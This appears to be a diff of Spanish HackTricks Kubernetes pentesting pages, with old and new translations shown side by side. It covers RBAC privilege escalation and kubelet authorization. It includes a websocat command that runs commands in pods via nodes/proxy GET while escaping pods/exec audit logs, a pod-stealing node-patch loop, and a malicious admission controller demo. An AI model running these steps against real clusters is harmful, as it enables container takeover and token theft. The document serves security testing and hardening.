Then he can update/create new roles, clusterroles with better permissions than the ones he has.
### Proxy de nodos
### Nodes proxy
Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
**Explotación directa (requiere alcanzabilidad de red al kubelet y un token con `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Usa el **IP del nodo**, no el nombre del nodo. La misma petición con `curl -X POST` será **Forbidden** porque se mapea a `create`.
- El acceso directo al kubelet evita al servidor API, por lo que AuditPolicy solo muestra `subjectaccessreviews` desde el kubelet user agent y **no registra `pods/exec`**.
- Enumera las cuentas de servicio afectadas con el [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET.
### Eliminar pods + nodos no programables
Principales que pueden **eliminar pods** (verbo `delete` sobre el recurso `pods`), o **desalojar pods** (verbo `create` sobre el recurso `pods/eviction`), o **cambiar el estado del pod** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (verbo `delete` sobre el recurso `nodes`) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante pueda **robar los tokens** de esos pods.
Identidades que pueden **delete pods** (`delete` verb over `pods` resource), o **evict pods** (`create` verb over `pods/eviction` resource), o **change pod status** (access to `pods/status`) y pueden **make other nodes unschedulable** (access to `nodes/status`) o **delete nodes** (`delete` verb over `nodes` resource) y tienen control sobre un pod, podrían **steal pods from other nodes** de modo que sean **executed** en el **compromised** **node** y el atacante pueda **steal the tokens** de esos pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,43 +660,43 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Estado de los servicios (CVE-2020-8554)
### Services status (CVE-2020-8554)
Los principales que pueden **modificar** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar el **CVE-2020-8554 sin corregir** y lanzar **ataques MiTM contra el clúster**. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Principals que pueden **modify** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar el **unfixed CVE-2020-8554** y lanzar **MiTM ataques contra el clus**ter. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen ExternalIP services (según [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Estado de los nodos y pods
### Nodes and Pods status
Los principales con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar etiquetas para afectar las restricciones de programación impuestas.
Principals con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar labels para afectar las restricciones de scheduling aplicadas.
## Prevención de escalada de privilegios incorporada
## Built-in Privileged Escalation Prevention
Kubernetes tiene un [mecanismo incorporado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios.
Kubernetes tiene un [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios.
Este sistema asegura que **los usuarios no pueden elevar sus privilegios modificando roles o vinculaciones de roles**. La aplicación de esta regla ocurre a nivel de API, proporcionando una salvaguarda incluso cuando el autorizador RBAC está inactivo.
Este sistema asegura que **los usuarios no pueden elevar sus privilegios modificando roles o role bindings**. La aplicación de esta regla ocurre a nivel del API, proporcionando una salvaguarda incluso cuando el authorizer RBAC está inactivo.
La regla estipula que un **usuario solo puede crear o actualizar un rol si posee todos los permisos que comprende el rol**. Además, el alcance de los permisos existentes del usuario debe alinearse con el del rol que intenta crear o modificar: ya sea a nivel de clúster para ClusterRoles o confinado al mismo espacio de nombres (o a nivel de clúster) para Roles.
La regla estipula que un **usuario solo puede crear o actualizar un role si posee todos los permisos que el role comprende**. Además, el alcance de los permisos existentes del usuario debe alinearse con el del role que intenta crear o modificar: ya sea a nivel de cluster para ClusterRoles o confinado al mismo namespace (o a nivel de cluster) para Roles.
> [!WARNING]
> Hay una excepción a la regla anterior. Si un principal tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.
> Existe una excepción a la regla anterior. Si un principal tiene el **verb `escalate`** sobre **`roles`** o **`clusterroles`** puede aumentar los privilegios de roles y clusterroles incluso sin poseer esos permisos él mismo.
### **Obtener y parchear RoleBindings/ClusterRoleBindings**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.**
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalada de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.**
El privilegio para crear Rolebindings permite a un usuario **bind roles to a service account**. Este privilegio puede potencialmente llevar a una escalada de privilegios porque **permite al usuario bind admin privileges a una service account comprometida.**
## Otros ataques
## Other Attacks
### Aplicación de proxy sidecar
### Sidecar proxy app
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod.
Por defecto no existe cifrado en la comunicación entre pods. Autenticación mutua, two-way, pod to pod.
#### Crear una aplicación de proxy sidecar
#### Create a sidecar proxy app
Un contenedor sidecar consiste simplemente en agregar un **segundo (o más) contenedor dentro de un pod**.
Un sidecar container consiste simplemente en añadir un **second (or more) container inside a pod**.
Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 contenedores:
For example, the following is part of the configuration of a pod with 2 containers:
```yaml
spec:
containers:
@@ -687,15 +706,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Por ejemplo, para crear un backdoor en un pod existente con un nuevo contenedor, podrías simplemente agregar un nuevo contenedor en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo contenedor que el primero no tendrá.
Por ejemplo, para backdoor un pod existente con un nuevo container podrías simplemente añadir un nuevo container en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo container que el primero no tendrá.
Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Controlador de Admisión Malicioso
### Controlador de admisión malicioso
Un controlador de admisión **intercepta solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**.
Un controlador de admisión **intercepta las solicitudes al Kubernetes API server** antes de la persistencia del objeto, pero **después de que la solicitud esté autenticada** **y autorizada**.
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.
Si un atacante de alguna manera logra **inyectar un Mutation Admission Controller**, podrá **modificar solicitudes ya autenticadas**. Esto le permitiría potencialmente privesc, y más comúnmente persistir en el cluster.
**Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -704,30 +723,30 @@ cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Verifica el estado para ver si está listo:
Comprueba el estado para ver si está listo:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Luego despliega un nuevo pod:
A continuación, despliega un nuevo pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Cuando puedes ver el error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas:
Cuando veas un error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
Como puede verse en la imagen anterior, intentamos ejecutar la imagen `nginx` pero la imagen finalmente ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de suceder?
#### Technicalities
#### Detalles técnicos
El script `./deploy.sh` establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados:
El script `./deploy.sh` establece un controlador de admisión mutating webhook, que modifica las solicitudes a la API de Kubernetes según se especifica en sus líneas de configuración, influyendo en los resultados observados:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -735,7 +754,7 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con `rewanthtammana/malicious-image`.
El fragmento anterior reemplaza la primera imagen de contenedor en cada pod con `rewanthtammana/malicious-image`.
## OPA Gatekeeper bypass
@@ -743,22 +762,22 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## Mejores Prácticas
## Mejores prácticas
### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio**
### **Deshabilitar el montaje automático de tokens de cuentas de servicio**
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
- **Pods y cuentas de servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para aumentar la seguridad, Kubernetes permite deshabilitar esta funcionalidad de automount.
- **Cómo aplicarlo**: Configure `automountServiceAccountToken: false` en la configuración de las cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
### **Asignación de Usuarios Restrictiva en RoleBindings/ClusterRoleBindings**
### **Asignación restrictiva de usuarios en RoleBindings/ClusterRoleBindings**
- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
- **Inclusión selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite periódicamente y elimine usuarios irrelevantes para mantener una seguridad estricta.
### **Roles Específicos de Namespace Sobre Roles de Clúster**
### **Roles por namespace en lugar de Roles a nivel de clúster**
- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que aplican a todo el clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
### **Utilizar herramientas automatizadas**
### **Usar herramientas automatizadas**
{{#ref}}
https://github.com/cyberark/KubiScan
@@ -779,5 +798,8 @@ https://github.com/aquasecurity/kube-bench
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,24 +1,24 @@
# Autenticación y Autorización de Kubelet
# Autenticación y Autorización del Kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Autenticación de Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autenticación del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**De la documentación:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **nombre de usuario de `system:anonymous`** y un **grupo de `system:unauthenticated`**.
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **nombre de usuario `system:anonymous`** y un **grupo `system:unauthenticated`**.
Los **3** **métodos** de autenticación son:
- **Anónimo** (por defecto): Usar configurando el parámetro **`--anonymous-auth=true` o la configuración:**
- **Anonymous** (por defecto): Usar estableciendo el parámetro **`--anonymous-auth=true` o en la configuración:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Esto **habilitará** los **tokens portadores de API** de kubectl como autorización (cualquier token válido será válido). Permítalo con:
- asegúrese de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el servidor API
- **Webhook**: Esto **habilitará** los kubectl **API bearer tokens** como autorización (cualquier token válido será válido). Permítalo con:
- asegúrese de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el API server
- inicie el kubelet con las banderas **`--authentication-token-webhook`** y **`--kubeconfig`** o use la siguiente configuración:
```json
"authentication": {
@@ -28,11 +28,11 @@ Los **3** **métodos** de autenticación son:
},
```
> [!NOTE]
> El kubelet llama a la **`TokenReview` API** en el servidor API configurado para **determinar la información del usuario** a partir de tokens portadores.
> El kubelet llama a la **`TokenReview` API** en el API server configurado para **determinar la información del usuario** a partir de bearer tokens
- **Certificados de cliente X509:** Permiten autenticar a través de certificados de cliente X509.
- consulta la [documentación de autenticación del apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para más detalles.
- inicia el kubelet con la bandera `--client-ca-file`, proporcionando un paquete CA para verificar los certificados de cliente. O con la configuración:
- **X509 client certificates:** Permiten autenticarse mediante X509 client certs
- Consulta la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para más detalles
- Inicia el kubelet con la bandera `--client-ca-file`, proporcionando un CA bundle para verificar los certificados de cliente. O con la config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Los **3** **métodos** de autenticación son:
}
}
```
## Autorización de Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autorización del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Cualquier solicitud que sea autenticada con éxito (incluida una solicitud anónima) **es luego autorizada**. El modo de autorización **predeterminado** es **`AlwaysAllow`**, que **permite todas las solicitudes**.
Cualquier solicitud que se autentique con éxito (incluida una solicitud anónima) **es entonces autorizada**. El modo de autorización **por defecto** es **`AlwaysAllow`**, que **permite todas las solicitudes**.
Sin embargo, el otro valor posible es **`webhook`** (que es lo que **principalmente encontrarás allí**). Este modo **verificará los permisos del usuario autenticado** para permitir o denegar una acción.
Sin embargo, el otro valor posible es **`webhook`** (que es lo que encontrarás más comúnmente). Este modo **comprobará los permisos del usuario autenticado** para permitir o denegar una acción.
> [!WARNING]
> Ten en cuenta que incluso si la **autenticación anónima está habilitada**, el **acceso anónimo** podría **no tener ningún permiso** para realizar ninguna acción.
> Ten en cuenta que incluso si la **autenticación anónima está habilitada** el **acceso anónimo** podría **no tener permisos** para realizar ninguna acción.
La autorización a través de webhook se puede configurar utilizando el **parámetro `--authorization-mode=Webhook`** o a través del archivo de configuración con:
La autorización vía webhook puede configurarse usando el **parámetro `--authorization-mode=Webhook`** o mediante el archivo de configuración con:
```json
"authorization": {
"mode": "Webhook",
@@ -59,41 +59,45 @@ La autorización a través de webhook se puede configurar utilizando el **parám
}
},
```
El kubelet llama a la **`SubjectAccessReview`** API en el servidor API configurado para **determinar** si cada solicitud está **autorizada.**
El kubelet llama a la API **`SubjectAccessReview`** en el servidor API configurado para **determinar** si cada solicitud está **autorizada.**
El kubelet autoriza las solicitudes API utilizando el mismo enfoque de [atributos de solicitud](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que el apiserver:
El kubelet autoriza las solicitudes a la API usando el mismo [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach que el apiserver:
- **Acción**
| Verbo HTTP | verbo de solicitud |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| POST | crear |
| GET, HEAD | obtener (para recursos individuales), listar (para colecciones, incluyendo contenido completo del objeto), observar (para observar un recurso individual o colección de recursos) |
| PUT | actualizar |
| PATCH | parchear |
| DELETE | eliminar (para recursos individuales), eliminarcolección (para colecciones) |
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- El **recurso** que se comunica con la API de Kubelet es **siempre** **nodos** y el **subrecurso** se **determina** a partir de la ruta de la solicitud entrante:
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
| API de Kubelet | recurso | subrecurso |
| --------------- | ------- | ---------- |
| /stats/\* | nodos | stats |
| /metrics/\* | nodos | metrics |
| /logs/\* | nodos | log |
| /spec/\* | nodos | spec |
| _todos los demás_ | nodos | proxy |
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
Por ejemplo, la siguiente solicitud intentó acceder a la información de los pods de kubelet sin permiso:
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
For example, the following request tried to access the pods info of kubelet without permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Recibimos un **Forbidden**, por lo que la solicitud **pasó la verificación de autenticación**. Si no, solo habríamos recibido un mensaje de `Unauthorised`.
- Podemos ver el **nombre de usuario** (en este caso del token)
- Verifique cómo el **recurso** era **nodes** y el **subrecurso** **proxy** (lo cual tiene sentido con la información anterior)
- Recibimos un **Forbidden**, por lo que la solicitud **superó la verificación de autenticación**. Si no, solo habríamos recibido un mensaje `Unauthorised`.
- Podemos ver el **username** (en este caso desde el token)
- Fíjate cómo el **resource** era **nodes** y el **subresource** **proxy** (lo cual concuerda con la información anterior)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}